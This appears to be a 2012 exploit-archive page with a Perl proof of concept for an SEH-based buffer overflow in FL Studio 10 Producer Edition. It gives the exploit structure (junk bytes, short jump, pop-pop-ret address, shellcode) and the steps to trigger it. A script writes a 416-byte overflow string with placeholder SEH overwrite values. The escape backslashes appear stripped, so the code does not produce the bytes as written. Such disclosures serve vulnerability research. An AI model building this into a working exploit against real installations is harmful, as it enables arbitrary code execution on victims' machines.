[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FL Studio 10 Producer Edition SEH Based Buffer Overflow PoC
# Published : 2012-10-09
# Author :
# Previous Title : SafeNet Sentinel Keys Server Crash PoC
# Next Title : MySQL Denial of Service Zeroday PoC


# Title  : FL Studio 10 Producer Edition - SEH Based Buffer Overflow PoC
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : PoC
# Risk   : High
# Vendor : Image Line: http://www.image-line.com/downloads/flstudiodownload.html
# Versions : 10 Producer Edition (Other Versions May be Vulnerable).
# Tested On : Windows 7 64-bits .
# Date : 8 October 2012
-----------------------------------------
-----------------------------------------
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...
# Fl Studio is Prone to a SEH based Buffer Overflow which allows attacker to execute arbitary code on the victim's machine .
# To trigger the vulnerability the attacker must fake the "Browser Extra search folder" path & paste the input released from this PoC .
# Looking a little bit deeper in the stack & in the EBP register we will see that the software will try to create a file named e.g. BBBBCCCC.NFO 
# Then the EIP is overwritten with the SEH address .
# The Exploit will look like this : [Junk "A" x 416] [6 Bytes Jump + 2Nops ] [p/p/r address or other] [Shellcode] .
# Go to Options ---> File Settings ---> Choose File In the left column ---> Paste the input in Browser Extra Search Folder ---> Press Enter ---> and close the window .
# == Crash Triggered + Seh Overwritten .

#Images :
#1st : http://s7.postimage.org/ubgogmjmz/image.png
#2nd : http://s7.postimage.org/yymqie6zv/image.png
#3rd : http://s7.postimage.org/3p47rnffv/image.png

my $As = "x41" x 416 ;
my $pnseh = "x42x42x42x42";
my $seh = "x43x43x43x43";

my $input = $As.$pnseh.$seh;


open(myfile,'>input.txt');
print myfile $input;
close(myfile);
print "FL Studio 10 Producer Edition SEH Based Overflown";
print "x44x69x73x63x6Fx76x65x72x65x64x20x26x20x50x6Fx43x20x42x79x20x44x61x72x6Bx2Dx50x75x7Ax7Ax6Cx65n";
print "Creating PoC Inputn";
sleep 5;
print $input ;